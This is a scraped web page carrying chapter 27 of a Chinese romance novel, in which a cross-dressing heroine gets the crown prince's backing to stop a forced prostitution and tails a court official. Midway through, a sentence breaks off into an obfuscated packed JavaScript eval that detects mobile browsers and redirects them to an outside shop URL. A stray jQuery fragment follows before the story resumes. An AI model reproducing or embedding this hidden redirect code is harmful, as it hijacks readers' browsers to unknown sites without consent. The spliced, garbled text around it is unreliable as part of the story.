文趣网 > 其他小说 > 女扮男装不小心攻略太子了 > 27. “要炸我的楼?”
    李幺回屋时,其他人早就已散得差不多了,房中只留下宋明昭一个人在翻册子。

    他上半身笔直地坐着,微低着头,似是看到不解处,眉间下意识染上褶皱。有一下没一下地提起笔标注,然后继续翻书查看,十分认真专注。

    少年桌上全是书册,他侧方放着一个小桌,上面正是放着方才让人送来的茶点。

    他听见动静,抬头便看见女孩从门口进来,他将侧桌糕点往外推了些,抽空瞧了她一眼:“午时早已过去,我着实太忙,阿幺先吃这个垫垫。”

    女孩心中记挂着刚刚那档子事儿,整个人都有些心不在焉,就嗯啊应着。

    她自己搬了个没有靠背的椅子坐在侧桌边上,随意捡了个糕点就开始啃。

    可心思明显不在这上面,她眼睛总时不时去看少年线条分明的侧脸,有些欲言又止。

    宋明昭看账看得认真,却依然顾及着一旁的李幺,看她总是冷不丁来瞧自己,以为是糕点不够,便抬手将离她远的点心又推近些。

    “这里还有。”

    “哦哦,好,谢谢阿昭。”

    自从上次她说冷萃好喝,少年每回碰上新茶总会给她添几杯尝尝。

    景秀园近期采买了一批新茶,这品种在北方不常见,在京城还算新鲜物件。

    少年抽空放下账册,提起壶倒了杯茶就要拿给女孩:“阿幺,这茶入口清甜淡雅,你尝尝。”

    李幺又去瞥少年,见他倒完茶目光就又偏到书上去了,只能沉默着接了。

    少年注意力都集在满桌繁文上,女孩接了茶他便收回手又埋头去忙。

    眼看宋明昭沉浸其中,根本注意不到李幺殷切的目光,女孩只能犹豫着主动开口:“阿昭。”

    少年目光依旧不离一刻,只发音回应:“嗯?”

    她表情讨巧,问他:“你什么时候能忙完啊?”

    少年头也没抬,视线在账册上转了一圈:“应是还有一段时间。”

    女孩不死心:“还有一段时间是多久?”

    以前李幺从不像今天这样,过多去管某件事。

    如今她欲言又止地将一件事问这么多遍,宋明昭也感觉到有些不对劲。他停下笔,神情认真,带着点温和去瞧女孩。

    “阿幺太无聊?”他长指捏过李幺手中的空茶杯,又抬手添了些。

    他略一思索,道:“今日景秀园主二楼应是有皮影戏,你自己过去看会,不必顾及我,此地界我是主家,身边又有暗卫,出不了事。”

    李幺记挂着小春良家女子身却被逼今日接客的事儿,怕来不及阻止,但少年又忙得不可开交,着实是令她着急又无奈。

    毕竟这是件未经查探的事,如若是真的倒还好;若这事是假的,既耽误了少年,又会显得自己蠢笨易轻信他人。

    最后,她磨蹭半晌,还是下定决心,手上十分殷勤地给宋明昭倒了一杯茶,这才试探问:“这地方若是‘不小心’闯祸了,殿下能兜底吗?”

    连殿下都喊上了,看来是要干点‘坏事’,且这事不简单,想来最后可能还需自己出手捞她。

    少年有些意外地看着李幺,纳罕:“哦?莫不是要炸了我的楼?”

    他来了点兴致,放下毫笔,一根修长食指抵住太阳穴,有些懒散地笑看女孩,他语带调侃:“竟不知我的楼何时惹了阿幺。”

    美色当前,李幺却没心情欣赏,她使劲儿摇头,有些着急:“不不不,没那回事儿!这楼好!特别好!我就是…就是……”

    她支吾半天,不知该如何解释,最后只能有些脸热地低头,语气很低:“若不行,便算了。”

    大不了她蒙个面,将人打上一通,把人一道先带走就是。

    宋明昭也只想逗逗她,看她急急忙忙解释,咧嘴笑了几下,道:“无事,阿幺想做什么,去便是。”

    少年很淡定温和:“我的地方还不至于让你受了委屈。”

    这意思便是答应兜底保人了。

    “谢谢殿下!”女孩非常激动。

    金口玉言,有宋明昭这个太子一句话,跟拿了免死金牌没啥区别。

    心里一桩事解决,李幺脸上带了笑容,她讨好地把桌上糕点又推回给少年,借物献殷勤:“阿昭你吃,这个红豆糕可好吃了!”

    见少年依言拿了一块,她才开心地站起身来,掸掸掌上的点心碎。

    李幺讨好地朝少年笑了几下,转身就想走,但又担心显得有些像携目的而来一样,她找补:“我去瞧瞧园里有什么好吃的,晚些带回来给阿昭吃。”

    宋明昭也笑:“好,去吧。”

    见人风风火火来,又急急忙忙走,少年有些无奈地摇头轻笑。

    李幺刚走,鸦二后脚就进了门,他将少年吩咐的机密要件拿了回来。

    正准备退下就被主子喊停:“去跟着李幺。”

    鸦二听见这种命令就头疼,上回那“味道十足”的一次经历实在令他印象深刻。

    可他无法拒绝,只能询问:“殿下,请问这回又是谁让她‘出马’了?属下好有个准备。”

    谁知主子却很“不负责”,只说:“孤也不知,你且跟着就是,别让她闹太大。”

    鸦二一脸苦瓜相,宋明昭有些好笑地宽慰他:“此处是孤地界,他应不会做上次一样的‘事’,辛苦你了。”

    “属下明白。”

    ……

    虽得了少年一言,但李幺既不认识小春,又没留那两位姐姐的住址,她自己也才从“黑户”转良民,两手空空,那她咋整??

    她到处转悠,眼见楼下陆陆续续进出的勋贵人群,她只能用上最笨的方法,直接下楼坐在大厅,就靠肉眼去找那些个像官的人。

    方法是笨了点,但瞎猫也能碰上死耗子,最后还真让她碰见一个。

    若问她为何能看出来,纯粹因为她今天上朝才刚见过那个人,而且印象深刻。

    那人不就是丞相的“狗腿子”嘛,而且就是他第一个站出来帮丞相说话的,官职好像是什么长史,就姓范。

    见那范长史一副头发花白,快老态龙钟的样子,女孩不免有些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752780|208091||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    恼,一个半脚入棺的“老头”,竟还惦记着这档子事儿!

    他不是丞相一党吗?他们不是宣扬人人平等吗?

    难不成“逼良为娼”就是他们口中的人人平等吗?!

    她可还清楚记得今日晨间,朝堂上才将将说过他在景秀园强抢民女一事,却不想如今他还敢光明正大再来!

    看他那熟练程度,定是没少来此!

    李幺冷笑一声,心道:真不知该说他胆大包天,还是有恃无恐呢。

    女孩对古代官阶了解不多,但是电视剧里任长史的,官应该不小。

    她想:那就不能随意露面,只能暗地谋之,大不了将人打晕,让他事后慢慢找人,谅他不敢在太子地盘上瞎闹事儿!

    她打定主意后就悄悄跟在他身后,尾随人一路往上。

    暗处的鸦二额上青筋都开始一跳一跳。

    李幺选得好啊!正巧选了个从三品大都督府长史!虽说大都督还在外未归京,但那可是个大要员!掌管军事的人能随便得罪吗?!

    更何况你去惹人家府里的长史,范重是谁?他可是大都督近臣!你欺辱他的人不就是打人家脸!

    鸦二内心翻江倒海,感觉心跳都快了不少,全身发热!

    他连忙跟上前去,也不怕被发现,直接现身拽住想去玩跟踪的李幺,低声切齿:“你什么人也去惹?你不能少给殿下找事吗?!”

    李幺早已发现鸦二靠近,被他拉着,无语地挣开手,她余光还盯着范重,嘴上有点不满:“我没打算找事儿。”

    “你知道他是谁吗?你跟踪他干嘛?天子脚下,不是你能胡闹的,你非要仗着殿下仁厚,一次次坑害殿下吗?”

    明明什么都没干,却被劈头盖脸一顿骂,还说的这样严重,李幺逆反心理都上来了。

    “你哪只眼睛瞧见我坑害殿下了?殿下让你跟着我只是监督吧?你现在这样是想做什么?违令吗?”

    眼见范重快消失在楼梯转角,她只能先丢下脸色很臭的鸦二,语气不愉:“我不会害殿下,你大可跟着好好看,我现在没空跟你掰扯。”

    可她还是晚了一步,等她到了范重消失的转角,人早就不见了,前面全是紧闭着门的房间。

    李幺站在原地,火气压不住地往上冒,面上越来越冷,她深吸一口气,虽心知鸦二不过护主心切,但她还是忍不住对着跟上来的鸦二呛了一声:“满意了?”

    鸦二也很莫名其妙:“我满意什么,我并不是故意与你作对。”

    女孩闭了闭眼,平静了一下:“抱歉,我语气不好。”

    听见道歉声,无所适从的人就成了鸦二,他只能憋了情绪:“没…没事。”

    “你帮我找个人,你若是听见哪个房间有求饶叫喊声便告诉我一声。”

    “求饶?怎么可能,殿下的地方不会出现这样的事!”

    李幺默默看他一眼,没说话。

    鸦二被她这莫名其妙的一眼看得怪异极了,心中坚信,殿下名产,定不会发生不好的事,即便有,也会有人立刻处理!